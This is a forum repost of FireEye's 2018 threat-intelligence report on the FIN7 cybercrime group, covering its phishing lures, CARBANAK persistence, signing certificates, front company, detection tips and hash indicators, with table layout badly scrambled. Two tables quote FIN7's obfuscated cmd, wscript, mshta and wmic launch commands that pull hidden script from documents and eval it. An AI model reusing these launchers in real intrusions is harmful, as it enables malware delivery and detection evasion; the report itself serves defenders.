Security-X

Forum Security-X => News => Discussion démarrée par: igor51 le août 02, 2018, 04:00:52

Titre: [FireEye]On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation
Posté par: igor51 le août 02, 2018, 04:00:52
On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation

[html]

FIN7’s Innovation Enabled their Success


 

Throughout FireEye’s tracking of FIN7 campaigns, the attackers have
  attempted to stay ahead of the game and thwart detection, using novel
  tactics and displaying characteristics of a well-resourced operation.
  For example, in April 2017,     href="https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html">FireEye
    blogged about FIN7’s spear phishing emails that leveraged hidden
    shortcut files (LNK files) to initiate the infection and
  VBScript functionality launched by mshta.exe to infect the victim.
  This was a direct departure from their established use of weaponized
  Office macros and highlighted the group’s adaptive nature to evade detection.


 

FireEye also previously reported on FIN7’s use of the     href="https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html">CARBANAK
  backdoor as a post-exploitation tool to cement their foothold in a
  network and maintain access to victim environments. CARBANAK is well
  known for its use in highly profitable and sophisticated attacks
  dating back to 2013, with usage attributable to FIN7 beginning in late
  2015, although how interconnected the campaigns employing the malware
  over this five-year span are is unclear. FIN7’s use of CARBANAK is
  particularly notable due to their use of creative persistence
  mechanisms to launch the backdoor. The group     href="https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html">leveraged
    an application shim database that injected a malicious in-memory
    patch into the Services Control Manager ("services.exe")
  process, and then spawned a CARBANAK backdoor process. FIN7 also
  used this tactic to install a payment card harvesting utility.


 

Another notable characteristic of FIN7 has been their heavy use of
        href="https://casecurity.org/wp-content/uploads/2013/10/CASC-Code-Signing.pdf">digital
  certificates. Unsurprisingly, malicious threat actors have sought
  to exploit the legitimacy afforded by these certificates. By digitally
  signing their phishing documents, backdoors and later stage tools,
  FIN7 was able to bypass many security controls that may limit
  execution of macros from Office documents and restrict execution of
  unsigned binaries on trusted systems.


 
   
     
   
              width="66" valign="top">

UA


   
              width="66" valign="top">

GB


   
              width="66" valign="top">

RU


          Organization


          Country


          Serial


          Email

Korsar Travel TOV

        valign="top">

88:21:ac:7e:6c:da:11:00:1d:b3:d3:1a:16:c1:5c:26


     

korsartravel@bk.ru

Kaitschuck James

        valign="top">

30:2e:7f:14:3a:f3:f3:98:20:70:42:4e:ea:52:5d:d2


     
        valign="top">

oliversoftware@hotmail.com

Park Travel

        valign="top">

4d:e2:87:56:98:bf:c7:74:a3:f3:47:d6:70:7c:9b:f0


     

inga@parktravel-mx.ru


     

 


  Table 1: Sample FIN7 code signing certificates


 

FIN7 developed evasive techniques at a rapid pace. Throughout 2017,
  FIN7 was observed     href="https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html">creating
    novel obfuscation methods, and in some cases modifying the
  methods on a daily basis while launching attacks targeting multiple
  victims. The threat group regularly tested malicious DOC, DOCX, and
  RTF phishing documents against public repositories to check static
  detection engine coverage. Their development of a payload obfuscation
  style using the Windows command interpreter's (cmd.exe) native string
  substitution was so unique that FireEye dubbed it
  "FINcoding." These methods inspired     href="https://www.fireeye.com/blog/threat-research/2018/03/dosfuscation-exploring-obfuscation-and-detection-techniques.html">deep
    command line obfuscation research and the release of Daniel
  Bohannon's   href="https://github.com/danielbohannon/Invoke-DOSfuscation">Invoke-DOSfuscation.
  Reference Table 2 and Table 3 for a selection of samples and their
  associated command line obfuscation techniques.


 

FIN7’s Relentless Phone Calls and Bellyaching


 

Over the three years of responding to a multitude of compromises and
  proactively defending against FIN7, FireEye observed unprecedented
  social engineering prowess. From leveraging web forms for initial
  contact to targeting and engaging directly with pre-determined store
  managers, the operators demonstrated a range of capabilities. FIN7’s
  reach extended beyond their targets’ computer systems. FireEye has
  responded to incidents where FIN7 has called victims prior to
  lodging digital complaints laden with malicious documents as well as
  after the phishing documents have been sent, in order to check if they
  were received – a crude but effective FIN7 email delivery tracking technique.


 

As FIN7 has matured, so did the quality of their phishing lures and
  templates, which were most often sent from fake but thoroughly
  disguised individuals and businesses – and occasionally from sender
  addresses impersonating legitimate government entities. Their phishing
  has often exploited urgent, high value business matters tailored to
  their chosen targets. At individual stores, managers were contacted
  about lost items or sent a “receipt” claiming overcharging. Other FIN7
  phishing emails masqueraded as detailed catering orders or requests
  for special menus tailored to individuals with dietary restrictions.


 

In early 2017, a pattern of complaints emerged and has continued for
  well over a year, where FIN7 has contacted stores and corporate
  offices to lodge food poisoning complaints with malicious attachments.
  Internally dubbed “  href="https://twitter.com/search?q=%23FINdigestion">FINdigestion”
  by FireEye, this pattern of detailed complaints eventually expanded
  beyond individual complaints and into litigious concerns raised on
  behalf of “the government”, as shown in Figure 1.


 


 
 
 Figure 1: FDA themed spear phishing email


 

It is noteworthy that the BATELEUR backdoor activity     href="https://www.proofpoint.com/us/threat-insight/post/fin7carbanak-threat-actor-unleashes-bateleur-jscript-backdoor">first
    identified by Proofpoint in July 2017, which FireEye tracks as a
  suspected FIN7 subgroup, uses highly-customized graphics for their
  targets, often created in Adobe Photoshop. In this same phishing
  campaign, FIN7’s malicious attachment was graphically themed to match,
  as shown in Figure 2.


 


 
 
 Figure 2: FDA themed spear phishing attachment


 

Throughout their operations, the professional design and continued
  development of phishing elements in parallel to other post-compromise
  tools indicated to FireEye that FIN7 was most likely a well-resourced
  criminal operation.


 

It’s Just Metadata


 

FireEye has tracked several FIN7 personas throughout their
  operations by collecting and parsing filetypes of forensic value for
  juicy metadata. In a previous blog, we shared how LNK files created by
  FIN7 unintentionally revealed valuable information about their
  development environment.


 

LNK files can contain metadata that reveals attributes about the
  systems on which the LNKs were created, including original file paths,
  volume serial numbers, MAC addresses, and hostnames. By studying
  values within the LNK metadata we often identify
  "toolmarks," or unique values associated with distinct
  malware developer and operator personas.


 

FIN7 LNK metadata shows that the actors routinely used virtual
  machines with generic hostnames such as ANDY-PC or USER-PC, and
  default hostnames with the structure WIN-[A-Z0-9]{11} (e.g. WIN-ABCDEFGH1JK).


 

FireEye has tracked several hostname and path toolmarks associated
  with FIN7’s operations, which we have used to link clusters of threat
  activity together. These toolmarks may be linked to FIN7 members who
  are involved in tool development or the broader criminal operation.
  Notable personas from the technical data, which are explored in more
  detail in the Technical Appendix section, include:


 
 

This analysis allowed us to understand FIN7’s systems and correlate
  future attack activity to the different personas. Furthermore, the
  metadata analysis helped us monitor for files generated by the group
  and use the established toolmarks to establish detection for other
  adversary methodologies (such as direct RDP or SMB access) if the
  group changed TTPs.


 

Video Playback of FIN7 Operations


 

While responding to multiple FIN7 intrusions, FireEye recovered a
  custom video recording capability used by FIN7 as a part of their
  operations. FireEye’s FLARE team reverse engineered the video
  protocol, which appeared to be custom-written by FIN7 as it has no
  external library dependencies, contained Cyrillic comments in the
  code, and required the use of a bespoke video player unique to FIN7.
  The attackers most likely leveraged this video recording capability in
  their arsenal to monitor operations in victim environments to inform
  later stages of their intrusions.


 

FireEye obtained a version of the criminal developers’ video player
  from a trusted source and with the knowledge of the reverse engineered
  protocol, the FLARE team modified the source code to support multiple
  versions of FIN7’s custom encoding. With the patched source code,
  FireEye can decode and playback FIN7’s video monitoring for affected
  victims in possession of these files.


 

Recent Shifts in FIN7 Operations


 

Throughout 2018, FireEye has continued to identify multiple domains
  registered using patterns consistent with prior FIN7 activity, as well
  as campaigns using disparate TTPs that we have attributed to FIN7 with
  varying degrees of confidence. ZIP archives delivering the BIRDDOG
  backdoor were hosted on a portion of suspected FIN7 domains registered
  in 2018. Some evidence further characterizing the nature of this
  campaign suggests these malicious documents were sent to financial
  institution customers in Eastern Europe and Central Asia as early as
  September 2017. The targeting of individuals rather than organizations
  would mark a significant shift in their targeting, although it is also
  possible that the banks spoofed in these campaigns were FIN7's
  ultimate targets.


 

Additionally, we have identified similarities between FIN7 activity
  and BATELEUR campaigns, which began as early as mid-2017 and have been
  primarily aimed at U.S.-based restaurant chains. These campaigns
  leveraged macro-embedded Word documents directly attached to the
  emails as well as ones hosted on Google Drive. The documents were
  meticulously crafted to appear as though they came from legitimate
  organizations (e.g. restaurant associations and suppliers of POS
  hardware). This suspected FIN7 activity continued past the date of
  most recent arrest announced by U.S. law enforcement, although the
  attackers are now leveraging an updated JavaScript backdoor dubbed GRIFFON.


 

These recent campaigns could be representative of a decisive effort
  to diversify TTPs to avoid detection or could indicate the formation
  of FIN7 splinter groups carrying out autonomous campaigns. As a
  result, organizations need to remain vigilant and continue to monitor
  for changes in the methods employed by the FIN7 actors.


 

Unveiling FIN7’s Front Company and Industry


 


 
 
 Figure 3: Combi Security logo as
    retrieved from 2016 cache of combisecurity.com


 

According to U.S. law enforcement, at least a portion of FIN7
  activity was run out of a front company dubbed Combi Security. A cache
  of its website reveals that the company purported to be “the world
  leaders in the field of comprehensive protection of large information
  systems from modern cyber threats” with headquarters in Moscow, Haifa,
  and Odessa. We have identified job advertisements for Combi Security
  that have been posted on popular Russian, Ukrainian, and Uzbek job
  recruitment sites, as well as numerous individuals who most likely
  worked for the company. Due to the seeming legitimacy of the
  recruitment postings, some individuals may have been unaware of
  illicit nature of their work. While the recruitment of unwitting
  individuals as puppets has been a common component of at least some
  criminal schemes – for example, reshipping mules who are recruited
  through postings on career sites advertising attractive work-from-home
  jobs – FIN7’s veiling of full-scale financial compromises as
  legitimate offensive security engagements is particularly notable. The
  apparent success of Combi Security in recruiting unsuspecting
  individuals in this manner, may lead to more of this type of technical
  recruitment by cyber criminals in the future.


 

Splitting Up?


 

The criminal organization behind FIN7 is almost certainly comprised
  of many additional individuals beyond those already apprehended by law
  enforcement authorities. FireEye iSIGHT Intelligence expects that at
  least a portion of these malicious actors are likely to continue
  conducting cyber crime activity in some capacity. Although we expect
  activity to continue, it is extremely common for threat actors to
  either modify their TTPs or temporarily halt operations following
  significant developments such as arrests of high-level members and/or
  public disclosure of TTPs that they employ.


 

Depending on the organizational and communication structure of the
  group, it is also plausible that multiple subgroups could form and
  carry out independent operations in the future. Recent campaigns, as
  well as those using tactics that were atypical for historical FIN7
  campaigns, such as the SEC campaigns with widespread targeting, may be
  representative of semi-autonomous groups pre-existing within, or
  cooperating with, the FIN7 criminal organization. As noted in our     href="https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html">CARBANAK
  overview, certain malware families and techniques transcend
  strictly defined threat groups, and may be re-used by developers and
  operators as they transition between organizations and campaigns.


 

Conclusion


 

These recent announcements by U.S. law enforcement highlight the
  positive impact that can result from synergy between private and
  public sector organizations in disrupting organized cyber crime
  operations. As demonstrated by FIN7, financially-motivated threat
  actors are becoming extremely advanced and are capable of inflicting
  significant harm on organizations through vast, but carefully
  orchestrated campaigns. As sophisticated threat groups continue to
  emerge, partnerships, such as those exhibited here, will almost
  certainly play a key role in combating these threats.


 

Acknowledgements


 

Jordan Nuce, Tom Bennett, Michael Bailey, and Daniel Bohannon


 

Technical Appendix


 

FireEye has responded to many FIN7 incidents, which has provided us
  extensive insight into their operations. As part of this blog post, we
  are also including numerous indicators that we attribute to FIN7 and
  an overview of their techniques to aid organizations in identifying
  malicious activity across their networks.


 

Phishing Documents Technical Details


 

In addition to LNK metadata, FIN7 phishing documents consistently
  contained artifacts detailing the local file system paths of component
  files used to construct the spear phishing documents. In the following
  tables, we have also included examples of the myriad of command line
  obfuscation techniques used by FIN7. Of particular note is the quick
  turnaround time between documents employing different techniques.


 
   
     
   
              width="105" valign="top">

Suspected FIN7

        width="64" valign="top">

GRIFFON


   
     
   
     
   
     
   
              width="105" valign="top">

Suspected FIN7

        width="65" colspan="2" valign="top">

BATELEUR

        width="209" colspan="2"
        valign="top">

bb1a76702e2e7d0aa23385f24683d214

        width="120" valign="top">

Doc1.doc


   
     
   
     
   
     
   
              width="105" valign="top">

Suspected FIN7

        width="65" colspan="2" valign="top">

BATELEUR

        width="209" colspan="2"
        valign="top">

5972597b729a7d2853a3b37444e58e01

        width="120" valign="top">

check.doc


   
     
   
     
   
     
   
              width="105" valign="top">

Suspected FIN7

        width="65" colspan="2" valign="top">

BATELEUR

        width="209" colspan="2"
        valign="top">

c4aabdcf19898d9c30c4c2edea0147f0

        width="120" valign="top">

document1.doc


   
     
   
     
   
     
   
              width="105" valign="top">

Suspected FIN7

        width="65" colspan="2" valign="top">

BATELEUR

        width="209" colspan="2"
        valign="top">

467062d2a5a341716c42c6d7f36ba0ed

        width="120" valign="top">

check.doc


   
     
   
     


          EXIF Creation Time


          Attribution


          Malware


          MD5


          Filename

2018:05:21 17:32:00

        colspan="2" valign="top">

7e703dddcfc83cd352a910b48eaca95e


     

 

        valign="top">

C:\Users\jimbo\Desktop\Files\Картинки\outlook2.png


     

cmd.exe /k "SET
          a01=wscr& SET a02=ipt&&call %a01%%a02% /e:jscript
          //b %TEMP%\errors.txt


          EXIF Creation Time


          Attribution


          Malware


          MD5


          Filename

2018:01:26 15:59:00

        valign="top">

C:\Users\Hass\Desktop\Картинки\New\outlook3.png


     

cmd.exe /c wscript.exe
          //b /e:jscript %TEMP%\crashpad.ini


          EXIF Creation Time


          Attribution


          Malware


          MD5


          Filename

2018:01:11 13:16:00

        valign="top">

C:\Users\Hass\Desktop\Картинки\New\outlook2.png


     

cmd.exe /c wscript.exe
          //b /e:jscript %TEMP%\crashpad.ini


          EXIF Creation Time


          Attribution


          Malware


          MD5


          Filename

2017:10:25 07:43:00

        valign="top">

C:\Users\oleg\Desktop\Файлы\Картинки\New\defender.jpg


     

cmd.exe /c wscript.exe
          //b /e:jscript %TEMP%\crashpad.ini


          EXIF Creation Time


          Attribution


          Malware


          MD5


          Filename

2017:06:23 15:18:00

        valign="top">

C:\Users\Work\Desktop\IMAGES\outlook2.png


     

wscript.exe //b
          /e:jscript %TEMP%\debug.txt


 


  Table 2: Suspected FIN7 spear phishing launch
    parameters and attacker local system artifacts


 
   
     
   
              width="63" colspan="2" valign="top">

FIN7

        width="89" colspan="2" valign="top">

HALFBAKED

        width="216" valign="top">

29a3666cee0762fcd731fa663ebc0011


     

   
     
   
     
   
     
   
     
   
              width="63" colspan="2" valign="top">

FIN7

        width="89" colspan="2" valign="top">

HALFBAKED

        width="216" valign="top">

6146a18570e134c6c32633aca14375fb


     

   
     
   
     
   
     
   
     
   
              width="63" colspan="2" valign="top">

FIN7

        width="89" colspan="2" valign="top">

HALFBAKED

        width="216" valign="top">

03e85ad4217775906e6b5ceae8dc27af


     

   
     
   
     
   
     
   
     
   
              width="63" colspan="2" valign="top">

FIN7

        width="89" colspan="2" valign="top">

HALFBAKED

        width="216" valign="top">

63e2eb258a85ed4e72f951cdbff2a58e


     

   
     
   
     
   
     
   
     
                width="219" colspan="3"
        valign="top">

22ad7c05128ca7b48b0a2a4507803b16

        width="130" valign="top">

Doc0507.rtf


   
     
   
     
   
     
   
     
       
                width="130" valign="top">

Doc1.docx


   
     
   
     
   
     
   
              width="219" colspan="3"
        valign="top">

42a2a2352f6b1f5818f3b695f240fc3a


     

   
     
   
     
   
     
   
     
                width="130" valign="top">

order.rtf


   
     
   
     
   
     
   
     
                width="219" colspan="3"
        valign="top">

fbf653b89a0814f515ddbdcf82cc3795

        width="130" valign="top">

Reservation - Copy.docx


   
     
   
     


          EXIF Creation Time


          Attribution


          Malware


          MD5


          Filename

2017:10:06 11:21:00

Doc0610.docx


     
        valign="top">

C:\Users\andy\Desktop\unlock.cmd


     

cmd /c
          ""%TMP%\unlock.cmd" "

@set w=wsc@ript /b
          /e:js@cript %HOMEPATH%\tt.txt
 @echo try{var fs=new
          ActiveXObject('Scripting.FileSystemObject');sh=new
          ActiveXObject('Wscript.Shell');p=sh.ExpandEnvironmentStrings('%%HOM'+'EPATH%%')+'\\pp.txt';var
          f=fs.OpenTextFile(p,1,false);for(i=0;i^<4;i++)f.SkipLine();var
          com='';while(!f.AtEndOfStream)com+=f.ReadLine().substr(1);f.Close();try{fs.DeleteFile(p,
          true);}catch(e){}this[String.fromCharCode(101)+'v'+'al'](com);}catch(e){};
          >%HOMEPATH%\tt.txt
 @copy /y %TMP%\unlock.cmd
          %HOMEPATH%\pp.txt
 @echo %w:@=%|cmd


          EXIF Creation Time


          Attribution


          Malware


          MD5


          Filename

2017:09:27 11:56:00

Doc2709.docx


     
        valign="top">

C:\Users\usr\Documents\send\270917\unlock.doc.lnk


     

wmic.exe process call
          create "cmd start /min cmd /c for /f \"usebackq
          delims=\" %x in (`FindStr /R /C:\"@#[0-9]#@\"
          \"%TEMP%\unlock.doc.lnk\"`) do %x|cmd >nul
          2>&1 &"

cmd.exe /S /D /c"
          echo /*@#8#@*/try{sh=new
          ActiveXObject("Wscript.Shell");fs=new
          ActiveXObject("Scripting.FileSystemObject");p=sh.ExpandEnvironmentStrings("%TM"+"P%");f=fs.GetFile(p+"//unlock.doc.lnk");s=f.OpenAsTextStream(1,0);c=s.Read(2403);c=s.ReadAll();s.Close();this[String.fromCharCode(101)+'va'+'l'](c);}catch(e){}
          >%HOMEPATH%\t.txt  & wscript //b /e:jscript
          %HOMEPATH%\t.txt  >nul 2>&1 &"


          EXIF Creation Time


          Attribution


          Malware


          MD5


          Filename

2017:08:08 17:38:00

        valign="top">

Doc_n0908.rtf

        valign="top">

C:\Users\andy\Desktop\unlock.doc.lnk


     

wmic.exe process call
          create "mshta
        javascript:eval(\"try{eval('wall=GetObject(\\'\\''+String.fromCharCode(44)+'\\'Word.Application\\')');eval(wall.ActiveDocument.Shapes(2).TextFrame.TextRange.Text);}catch(e){};close();\")"


     

mshta.exe
          "try{jelo =
          'try{w=GetObject("","Wor"+"d.Application");this[String.fromCharCode(101)+\\'va\\'+\\'l\\'](w.ActiveDocument.Shapes(1).TextFrame.TextRange.Text);}catch(e){};';var
          fso = new
          ActiveXObject("Scripting.FileSystemObject");var sh =
          new ActiveXObject("Wscript.Shell");var p =
          sh.ExpandEnvironmentStrings("%HOMEPATH%") +
        "\\\\jelo.txt""


          EXIF Creation Time


          Attribution


          Malware


          MD5


          Filename

2017:07:27 15:51:00

Dooq.docx


     
        valign="top">

C:\Users\jinvr-3-1\Desktop\unlock.doc.lnk


     

cmd.exe /C set
          x=wsc@ript /e:js@cript %HOMEPATH%\ttt.txt & echo
          try{w=GetObject("","Wor"+"d.Application");this[String.fromCharCode(101)+'va'+'l'](w.ActiveDocument.Shapes(2).TextFrame.TextRange.Text);}catch(e){};
          >%HOMEPATH%\ttt.txt & echo %x:@=%|cmd


          EXIF Creation Time


          Attribution


          Malware


          MD5


          Filename

2017:06:28
        16:21:00

FIN7

HALFBAKED

        valign="top">

C:\Users\andy\Desktop\unprotect.rtf.lnk


     

cmd.exe /C set
          x=wsc@ript /e:js@cript %HOMEPATH%\md5.txt & echo
          try{w=GetObject("","Wor"+"d.Application");this[String.fromCharCode(101)+'va'+'l'](w.ActiveDocument.Shapes(1).TextFrame.TextRange.Text);}catch(e){};
          >%HOMEPATH%\md5.txt & echo %x:@=%|cmd


          EXIF Creation Time


          Attribution


          Malware


          MD5


          Filename

2017:05:11
        12:59:00

FIN7

HALFBAKED
 BEACON

        valign="top">

99975b5ee2ddd31e89c9bdda7a3871d9

        valign="top">

C:\Users\user\Documents\unprotect.lnk


     
          valign="top">

C:\WINDOWS\system32\mshta.exe
          vbscript:Execute("On Error Resume Next:set
          yjdsqjtrn=GetObject(,""Word.Application""):execute
        yjdsqjtrn.ActiveDocument.Shapes(2).TextFrame.TextRange.Text:close")


     


          EXIF Creation Time


          Attribution


          Malware


          MD5


          Filename

2017:04:20
        16:27:00

        valign="top">

FIN7

          valign="top">

HALFBAKED
 BEACON

info.rtf

        valign="top">

C:\Users\testadmin.TEST\Desktop\unprotect.lnk


     
          valign="top">

C:\WINDOWS\system32\mshta.exe
          vbscript:Execute(&quot;On Error Resume Next:set
          wprotect=GetObject(,&quot;&quot;Word.Application&quot;&quot;):execute
        wprotect.ActiveDocument.Shapes(1).TextFrame.TextRange.Text:close&quot;)


     


          EXIF Creation Time


          Attribution


          Malware


          MD5


          Filename

2017:01:12
        18:00:00

FIN7

HALFBAKED
 BEACON

        BELLHOP

        valign="top">

cea2989309ccd5128f437335622978f1

          valign="top">

C:\Users\testadmin.TEST\Desktop\unprotected.vbe

        C:\Users\tst01\Desktop\unprotected.vbs

          valign="top">

%WINDIR%\System32\Wscript.exe
        %TEMP%\WindowsUpdate_X24532\beginer.vbs


          EXIF Creation Time


          Attribution


          Malware


          MD5


          Filename

2016:08:12
        11:26:00

FIN7

HALFBAKED

        valign="top">

C:\Users\test\Documents\sploits\120816\order.vbe


     
          valign="top">

%WINDIR%\System32\Wscript.exe
        %TEMP%\AdobeUpdateManagementTool.vbs


 


  Table 3: FIN7 spear phishing launch parameters
    and attacker local system artifacts


 

FIN7 Tactics, Techniques & Procedures (TTPs)


 

FireEye is providing insight into FIN7’s notable methodologies
  across multiple stages of the attack lifecycle and tips for
  identifying evidence of this activity and similarly suspicious
  activity in your environment.


 
   
     
   
     
   
     
   
     
   
     
   
              width="0" valign="top">

New shim database files and
          modifications of AppCompatFlags registry keys (see             href="https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html">FIN7
            SDB Persistence)


   
              width="0" valign="top">

Outbound connections with
          port-protocol mismatches on common ports such as
        53,80,443,8080


   
              width="0" valign="top">

Outbound connections or DNS
          resolutions to "sketchy" 2nd level
          domains with generic 3rd level domains such as
          mail, www1, www2, dns, ftp (eg. “mail[.]qefg[.]info”)


     

   
     
   
     
   
     
       
   
     
       
   
     
       
   
     
   
     
       


          Attack Lifecycle Stage


          Adversary Methodology


          Discovery Tips


          Initial Compromise

          valign="top">

Spear phishing emails sent using PHP
        Mailer

Inbound emails
          containing metadata such as “X-Mailer: PHPMailer”


          Establish Foothold

          valign="top">

Persistence using registry Run and Run Once
        keys

New Run and RunOnce
          registry entries referencing .VBS and .VBA


          Establish Foothold

          valign="top">

Execution or persistence using Scheduled
        Tasks

New Scheduled
          Tasks referencing .CMD, .LNK, .VBS, .VBA, .PS1 and other
          scripting language extensions


          Establish Foothold

          valign="top">

Persistence using Windows Services, Startup
        Directory

New Windows
          Services, new files in Startup directories


          Establish Foothold

          valign="top">

Persistence using AppCompat Shim


          Maintain Presence

          valign="top">

C2 using favored C2 ports


          Maintain Presence

          valign="top">

C2 using favored generic 3LDs


          Maintain Presence

          valign="top">

C2 using VPS infrastructure with low
        reputation

Inbound and
          outbound connections from and to non-standard IP ranges,
          especially from international Virtual Private Server (VPS)
        providers


          Maintain Presence

          valign="top">

C2 using legitimate services including Google
          Docs, Google Scripts and Pastebin

        valign="top">

 


          Maintain Presence

          valign="top">

C2 using DNS via A, OPT, TXT records

Unusually long or numerous DNS A,
          TXT and OPT record queries


          Maintain Presence

          valign="top">

C2 domains registered with REG.RU

Newly observed domains registered
          via REG.RU


          Maintain Presence

          valign="top">

C2 domains registered with NameCheap

Newly observed domains registered
          via NameCheap


          Maintain Presence

          valign="top">

C2 domains registered with odd format and
          top-level domains

          valign="top">

Unusually long or numerous DNS queries with
          the structure [a-zA-Z]{4,5}\.[pw|us|club|info|site|top] (eg.
        “pvze[.]club”)


          Maintain Presence

          valign="top">

C2 domains registered with hyphen

Outbound connections to newly
          registered, hyphenated domains


 


  Table 4: FIN7 TTPs


 

FIN7 Indicators


 

FireEye is providing these granular technical indicators so that
  interested parties can better understand the threat actor and search
  for their historical activity across enterprise networks.


 
Phishing Documents Droppers

 
   
     
   
              width="271"
        valign="bottom">

c14eb54769ff208a2562e4ef47958d9e


       
        width="211" valign="bottom">

 


   
     
                width="211" valign="bottom">

BEACON


   
              width="271"
        valign="bottom">

4b783bd0bd7fcf880ca75359d9fc4da6


       
        width="211" valign="bottom">

BEACON
 BELLHOP

        HALFBAKED


   
              width="271"
        valign="bottom">

af53db730732aa7db5fdd45ebba34b94


       
        width="211" valign="bottom">

BEACON
 BELLHOP

        HALFBAKED


   
              width="271"
        valign="bottom">

cea2989309ccd5128f437335622978f1


       
        width="211" valign="bottom">

BEACON
 BELLHOP

        HALFBAKED


   
              width="271"
        valign="bottom">

cf4ccb3707e5597969738b4754782e4d


       
        width="211" valign="bottom">

BEACON
 BELLHOP

        HALFBAKED


   
              width="271"
        valign="bottom">

2dc0f4bece10759307026d90f585e006


       
        width="211" valign="bottom">

BEACON
 HALFBAKED


   
              width="271"
        valign="bottom">

37759603c6cd91ebc8a1ea9ac0f2d580


       
        width="211" valign="bottom">

BEACON
 HALFBAKED


   
              width="271"
        valign="bottom">

3c0bd71e91e0f18621ba43de4419f901


       
        width="211" valign="bottom">

BEACON
 HALFBAKED


   
              width="271"
        valign="bottom">

562a64f1c09306d385962cf8084b6827


       
        width="211" valign="bottom">

BEACON
 HALFBAKED


   
              width="271"
        valign="bottom">

5dace5ac5ba89c9bba4479264f75b2b6


       
        width="211" valign="bottom">

BEACON
 HALFBAKED


   
              width="271"
        valign="bottom">

619aa4e6c9db275381ab0e7fc7078f5f


       
        width="211" valign="bottom">

BEACON
 HALFBAKED


   
              width="271"
        valign="bottom">

67c9bfd4d6ac397fb0cd7da2441a6fe2


       
        width="211" valign="bottom">

BEACON
 HALFBAKED


   
              width="271"
        valign="bottom">

6a5a42ed234910121dbb7d1994ab5a5e


       
        width="211" valign="bottom">

BEACON
 HALFBAKED


   
              width="271"
        valign="bottom">

6ac5ae6546746e3a9502cc489b71146e


       
        width="211" valign="bottom">

BEACON
 HALFBAKED


   
              width="271"
        valign="bottom">

754fc509328af413d93131e65fc46d31


       
        width="211" valign="bottom">

BEACON
 HALFBAKED


   
              width="271"
        valign="bottom">

7b2315ff1f2d763857aa70ad34b75449


       
        width="211" valign="bottom">

BEACON
 HALFBAKED


   
              width="271"
        valign="bottom">

99975b5ee2ddd31e89c9bdda7a3871d9


       
        width="211" valign="bottom">

BEACON
 HALFBAKED


   
              width="271"
        valign="bottom">

9eb71edd5ec99294a1c341efa780b1b1


       
        width="211" valign="bottom">

BEACON
 HALFBAKED


   
              width="271"
        valign="bottom">

b5829caad7c448c558cb1dab2d9f4320


       
        width="211" valign="bottom">

BEACON
 HALFBAKED


   
    &


          Filename


          MD5


          Attribution


          Malware

menu.rtf

FIN7

 

        valign="bottom">

76eb6f124fba6599a54e92b829c55b63

FIN7

3-ThompsonDan.rtf

FIN7

claim.rtf

FIN7

order.rtf

FIN7

order.rtf

FIN7

Doc2_rtf.rtf

FIN7

doc1.doc

FIN7

quote.rtf

FIN7

Doc2_rtf.rtf

FIN7

information.doc

FIN7

Doc_rest_rtf.rtf

FIN7

doc1.docx

FIN7

Doc33.docx

FIN7

info_.rtf

FIN7

bmg.docx

FIN7

Doc_0405_1.rtf

FIN7

doc1.docx

FIN7

doc0505_1.rtf

FIN7

DonovanR.docx

FIN7